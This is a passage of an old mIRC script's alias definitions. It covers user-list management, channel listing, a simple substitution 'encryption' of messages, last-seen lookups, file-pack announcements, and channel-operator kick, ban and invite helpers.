n212=  adduser { unset %add | unset %add1 | %add = $token(2,64,$address($1,0)) | %add1 = $token(1,64,$address($1,0)) | if (($token(1,46,%add) >= 0) && ($token(1,46,%add) < 256)) { guser $2 $1 3 | goto end } | set %i -1 | :start | inc %i | if (%i > 9) { auser $2 %add1 $+ @ $+ %add | goto end } | %add = $replace(%add,%i,*) | %add = $replace(%add,**,*) | goto start | :end | echo %c -a %h Added  $+ %c2 $+ $1 $+  to user list successfully. }
n213=  remuser { unset %add | unset %add1 | %add = $token(2,64,$address($1,0)) | %add1 = $token(1,64,$address($1,0)) | if (($token(1,46,%add) >= 0) && ($token(1,46,%add) < 256)) { ruser $2 $1 3 | goto end } | set %i -1 | :start | inc %i |  if (%i > 9) { ruser $2 %add1 $+ @ $+ %add | goto end } | %add = $replace(%add,%i,*) | %add = $replace(%add,**,*) | goto start | :end | echo %c -a %h Removed  $+ %c2 $+ $1 $+  from user list successfully. }
n214=  chan { set %numchan $channel(0) | set %i 0 | unset %chans | :start | inc %i | if (%i > %numchan) { raw -q notice $1 :I'm on channels: %chans | halt } | if ($channel(%i) == %idlechan) goto start | if $me isop $channel(%i) { set %channm @ $+ $channel(%i) | goto next } | set %channm $channel(%i) | :next | set %chans %chans %channm | goto start }
n215=  tmo { set %i 0 | set %tmo 0 | :start | inc %i | if (%file [ $+ [ %i ] == $null) goto next | %tmo = %tmo + $lof(%file [ $+ [ %i ]) | goto start | :next | %tmo = %tmo \ 1000000 | %tmo1 = %tmo % 1000000 | %tmo = %tmo $+ . $+ $left(1,%tmo1) }
n216=  m { set %msgsent $chr(91) $+ msg( $+ $1 $+ ) $+ $chr(93) *2 | raw -q privmsg $1 : $+ *2 | echo 5 -a -> * $+ $1 $+ * *2 }
n217=  pw { if (($1 == $null) || ($1 < 1) || ($1 > 60)) { echo %c -a %h Usage: /pw <number 1-60> | halt } | %pwno = $$1 + 1183 | echo %c -a %h Encrypt Passwd Set To  $+ %c2 $+ $1 $+  } 
n218=  decrypt { set %codeno %pwno | set %abcno 1120 | %decrypt = $lower(*3) | :start | inc %abcno | if (%abcno == 1147) goto next | inc %codeno | %decrypt = $replace(%decrypt,$chr(%codeno),$chr(%abcno)) | goto start | :next | set %abcno 47 | :begin | inc %abcno | if (%abcno == 58) goto end | inc %codeno | %decrypt = $replace(%decrypt,$chr(%codeno),$chr(%abcno)) | goto begin | :end | echo %c -a [ $+ %h $+ ] $+ [ $+ $1 $+ ] $+ [ $+ $2 $+ ] :  %decrypt $+  | } 
n219=  e { set %codeno %pwno | set %abcno 1120 | %encrypt = $lower(*1) | :start | inc %abcno | if (%abcno == 1147) goto next | inc %codeno | %encrypt = $replace(%encrypt,$chr(%abcno),$chr(%codeno)) | goto start | :next | set %abcno 47 | :begin | inc %abcno | if (%abcno == 58) goto end | inc %codeno | %encrypt = $replace(%encrypt,$chr(%abcno),$chr(%codeno)) | goto begin | :end | if (%dlog == on) write %drive $+ :\ $+ %dir $+ \logging\decrypt.log ( $+ $remove($time,$right(3,$time)) $+ ) < $+ $me $+ : $+ # $+ > *1 | echo %c -a < %h : Encrypted > *1 | msg # > %encrypt }
n220=  lastseen { if ($readini %path $+ \names.txt *2 seen  == $null) { msg $1 I havent seen  $+ *2 $+ , maybe  $+ $opnick($rand(1,$opnick(0,$1)),$1) $+  has? | halt } | set %stemp $readini %path $+ \names.txt *2 seen | %timepast = $ctime - %stemp | msg $1  $+ *2 $+  was last seen on $asctime(%stemp) $+ ( $+ $duration(%timepast) $+ ). }
n221=  partyline { %numchat = $chat(0) | set %e 0 | :start | inc %e | if (%e > %numchat) goto end | if ($readini %path $+ \names.txt [ $chat(%e) ] partyline == yes) msg = $+ $chat(%e) *2 | goto start | :end }
n222=  plist { if (%numpacks == 0) halt | if ($1 == $null) set %xc amsg | else set %xc msg $1 | sdcc } 
n223=  nlist { if (%numpacks == 0) halt | if ($1 == $null) set %xc notice $active | else set %xc notice $1 | sdcc }
n224=  minvite { set %i $nick(0,#) | :next | if ($nick(%i,#) != $me) invite $nick(%i,#) $1 | dec %i | if %i > 1 goto next | halt }
n225=  fk { set %i 0 | :start | inc %i | %temp = $nick(%i,#) | if (%temp == $me) goto start | if (%temp == $null) halt | if $1 iswm $address(%temp,1) kick # %temp filterKICK: $1 | goto start }
n226=  ckick { set %i 0 | :start | inc %i | if ($channel(%i) == $null) goto end | if $1 ison $channel(%i) goto next | goto start | :next | if $me isop $channel(%i) kick $channel(%i) $1 *2 | goto start | :end }
n227=  cban { set %i 0 | :start | inc %i | if ($channel(%i) == $null) goto end | if $1 ison $channel(%i) goto next | goto start | :next | if $me isop $channel(%i) ban $channel(%i) $1 3 | goto start | :end } 
n228=  fkb { mode # +b $$1 | set %i 0 | :start | inc %i | %temp = $nick(%i,#) | if (%temp == $me) goto start | if (%temp == $null) halt | if $1 iswm $address(%temp,1) kick # %temp filterKB: $1 | goto start }
n229=  fnk { set %i 0 | :start | inc %i | %nick = $nick(%i,#) | if (%nick == $null) halt | if (%nick == $me) goto start | if $1 isin %nick kick # %nick filterKICK of NICKS containing ' $+ $1 $+ ' | goto start }